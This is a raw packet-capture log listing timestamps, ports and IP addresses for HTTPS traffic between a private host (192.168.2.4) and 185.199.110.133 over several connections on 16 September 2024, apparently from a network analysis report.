Sep 16, 2024 19:33:20.259664059 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259744883 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259783030 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259795904 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259802103 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259833097 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259913921 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259955883 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259964943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259977102 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260005951 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260104895 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260147095 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260153055 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260168076 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260196924 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260307074 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260343075 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260354996 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260365009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260394096 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260490894 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260533094 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260546923 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260555029 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260582924 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260684013 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260720968 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260735989 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260742903 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260767937 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260854006 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260895014 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260900021 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.260915995 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.260946989 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261034012 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261073112 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261084080 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261092901 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261121988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261223078 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261265039 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261271000 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261285067 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261315107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261415005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261452913 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261468887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261476040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261496067 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261581898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261622906 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261629105 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261646986 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261676073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261778116 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261815071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261831999 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261838913 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261863947 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.261945963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261986971 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.261997938 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262010098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262039900 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262166977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262212038 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262229919 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262238026 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262262106 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262341022 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262384892 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262391090 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262406111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262435913 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262538910 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262576103 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262579918 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262599945 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262628078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262713909 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262758017 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262762070 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262780905 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262811899 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262919903 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.262964010 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.262973070 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263009071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263017893 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263056040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263097048 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263104916 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263138056 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263150930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263279915 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263283014 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263319969 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263323069 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263335943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263344049 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263350010 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263377905 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263411045 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263457060 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263457060 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263472080 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263505936 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263515949 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263528109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263549089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263596058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263735056 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263777018 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263786077 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263801098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263833046 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263900042 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263936043 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263950109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.263957977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.263982058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264048100 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264085054 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264098883 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264106989 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264130116 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264184952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264223099 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264235973 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264242887 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264267921 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264343977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264381886 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264395952 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264403105 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264430046 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264540911 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264576912 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264592886 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264600039 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264626980 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264740944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264776945 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264799118 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264806032 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264823914 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264938116 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264974117 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.264990091 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.264997005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265024900 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265141964 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265180111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265196085 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265202999 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265228033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265342951 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265379906 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265403032 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265408039 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265424013 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265506983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265546083 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265557051 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265568018 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265595913 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265702009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265738964 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265760899 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265765905 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265782118 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265904903 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265944004 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265957117 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.265968084 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.265994072 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266130924 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266168118 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266182899 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266190052 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266216993 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266326904 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266361952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266376019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266395092 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266423941 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266520977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266558886 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266571045 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266577959 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266604900 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266701937 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266788960 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266801119 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266808987 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266836882 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.266922951 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266958952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.266997099 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267000914 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267008066 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267132998 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267169952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267185926 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267193079 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267215967 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267306089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267343998 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267357111 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267365932 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267395973 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267518997 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267561913 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267570019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267582893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267615080 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267704964 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267743111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267759085 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267766953 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267793894 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267884016 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267923117 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267929077 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.267944098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.267973900 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268093109 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268130064 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268143892 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268151999 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268178940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268276930 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268316984 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268331051 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268340111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268366098 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268455982 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268498898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268507957 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268520117 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268548965 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268646955 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268686056 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268698931 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268708944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268738985 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268834114 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268878937 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268883944 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.268899918 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.268927097 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.269041061 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269077063 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269090891 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.269098997 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269125938 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.269207001 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269252062 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269258976 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.269283056 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269310951 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.269406080 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269445896 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269459963 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.269467115 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.269496918 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409334898 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409374952 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409410954 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409466028 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409483910 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409521103 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409548044 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409548044 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409563065 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409585953 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409615040 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409640074 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409665108 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409665108 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409665108 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409681082 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409713984 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409744978 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409749031 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409779072 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409805059 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409838915 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409841061 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409871101 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409889936 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409945965 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.409961939 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.409989119 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.410038948 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.410039902 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.410110950 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.447406054 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.447478056 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.462668896 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.462687969 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.462716103 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.462753057 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.462798119 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.462896109 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.462949038 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.475414991 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.594218016 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.615426064 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.615498066 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.667424917 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.671400070 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.671415091 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.671438932 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.671499968 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.671554089 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.671591043 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.671647072 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.783503056 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.783514023 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.783543110 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.783649921 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.783759117 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.783771992 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.783826113 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.783839941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.783895016 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.783946991 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.784004927 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.784004927 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.784018993 CEST	443	49763	185.199.110.133	192.168.2.4
